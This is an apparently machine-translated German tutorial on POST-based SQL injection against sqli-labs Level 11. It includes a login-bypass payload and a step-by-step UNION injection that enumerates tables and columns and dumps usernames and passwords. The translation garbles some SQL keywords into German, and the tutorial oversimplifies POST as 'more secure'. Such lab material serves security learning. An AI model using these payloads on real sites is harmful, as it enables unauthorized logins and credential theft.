#POST-Einreichung und GET-Einreichung
1. get kann zwischengespeichert werden, post nicht
2. Die von get übermittelten Parameter werden im Verlauf des Browsers gespeichert, die per Post übermittelten Parameter nicht
3. Get-Einreichungen können mit einem Lesezeichen versehen werden, Post-Einreichungen jedoch nicht
4. Es gibt eine Längenbegrenzung für Get-Übermittlungen von bis zu 2048 Zeichen. Für die Postübermittlung gibt es keine Längenvorgabe, statt nur ASCII-Zeichen zu verwenden, können auch Binärdaten verwendet werden
Zusammenfassung: Die POST-Übermittlung ist sicherer als die GET-Übermittlung
Der Unterschied zwischen #Post-Einreichung und Get-Einreichung im Datenpaket
POST einreichen
Öffnen wir zunächst Ebene 11, geben beiläufig Benutzer und Passwort ein und übermitteln die Daten
Und bp-Capture einschalten
1. sind unsere aktuell übermittelten Daten
Die von POST übermittelten Daten werden im folgenden Teil als Parameter übergeben, während die von GET übermittelten Daten als Parameter an Position 2, also der obersten Position, übergeben werden
#POST-Injektionsprinzip
1. Ob es einen Injektionspunkt gibt (unter Verwendung eines Hauptschlüssels)
(1) Das Ergebnisdatenpaket wird zusammen mit dem Quellcode analysiert
Verwenden Sie POST, um Schlüsselwerte für Benutzername und Passwort zu akzeptieren
Bringen Sie dann den akzeptierten Schlüsselwert zur Abfrage in die Datenbank
(2) Verwenden Sie den Hauptschlüssel admin' oder 1=1 #, um zu beurteilen
Masterpasswort verwenden
admin' oder 1=1# für Bypass-Test
ursprünglicher Satz
"WÄHLEN Sie Benutzername, Passwort VON Benutzern AUS, WO Benutzername='$uname' und Passwort='$passwd' LIMIT 0,1";
Die Aussage nach Verwendung des Master-Passworts
"WÄHLEN Sie Benutzername, Passwort VON Benutzern AUS, WO Benutzername='admin' oder 1=1#' und Passwort='$passwd' LIMIT 0,1";
Zunächst verwenden wir ', um den folgenden Inhalt mit # zu schließen und auszukommentieren, und verwenden in der Mitte oder 1=1.
Dann, wenn die Datenbank urteilt, wird die Aussage
Admin oder 1=1
Dann wissen wir nicht, ob admin existiert, aber oder 1 = 1 ist festgelegt, und verwenden dann die #-Taste, um das Passwort dahinter auszukommentieren.
Weil er die isset-Funktion verwendet hat, um zu beurteilen, ob das Passwort leer ist, weil unsere Aussage den Teil des Passworts dahinter auskommentiert hat, also solange es nicht leer sein darf
Die Seite zeigt, dass die Anmeldung erfolgreich war, sodass beurteilt werden kann, dass es einen Injektionspunkt für den Benutzernamen gibt. Sie können die Post verwenden, um die Injektion zu übermitteln, und den „or“-Befehl verwenden, um die Passwortüberprüfung zu umgehen.
#Case-Demo
sqli-labs-----Stufe 11
1. Stellen Sie fest, ob ein Injektionspunkt vorhanden ist
Masterpasswort verwenden
Die Seite meldet normalerweise, dass die Anmeldung erfolgreich war
2. Holen Sie sich die Anzahl der Felder
uname=admin' Gruppe um 2 #&passwd=admin&submit=Senden
Daten übermitteln -> BP-Erfassung aktivieren
Datenpaket ändern -> Paket freigeben
Seitenfehler
Die Seite wird normal angezeigt und es gibt insgesamt nur 2 Felder
3. Bestimmen Sie die Anzahl der Anzeigefelder
uname=' union select 1,2 # &passwd=admin&submit=Senden
Beachten Sie hier, da dies ein Zeichentyp ist, müssen wir nach dem uname einen Wert eingeben, der nicht vorhanden ist, damit die Seite nicht angezeigt wird. Verwenden Sie am besten ein Leerzeichen
Stellen Sie sicher, dass das Seitenanzeigefeld 1, 2 ist
4. Holen Sie sich die aktuelle Datenbank
uname=' union select (database()),2 #&passwd=admin&submit=Senden
Nach dem Seitenecho wird festgestellt, dass der Datenbankname sicher ist
5. Rufen Sie die Datentabelle ab
uname= 'union select (select group_concat(table_name)from information_Schema.tables where table_schema="security"),2 #&passwd=admin&submit=Senden
Das Datenblatt ist oben
6. Felder abrufen
uname= 'union select (select group_concat(column_name)from information_Schema.columns where table_schema="security" and table_name='users'),2 #&passwd=admin&submit=Senden
Oben sind alle Datenblätter
7. Bibliothek ziehen
name= ' union select (select group_concat(username,'--',password)from security.users),2 #&passwd=admin&submit=Senden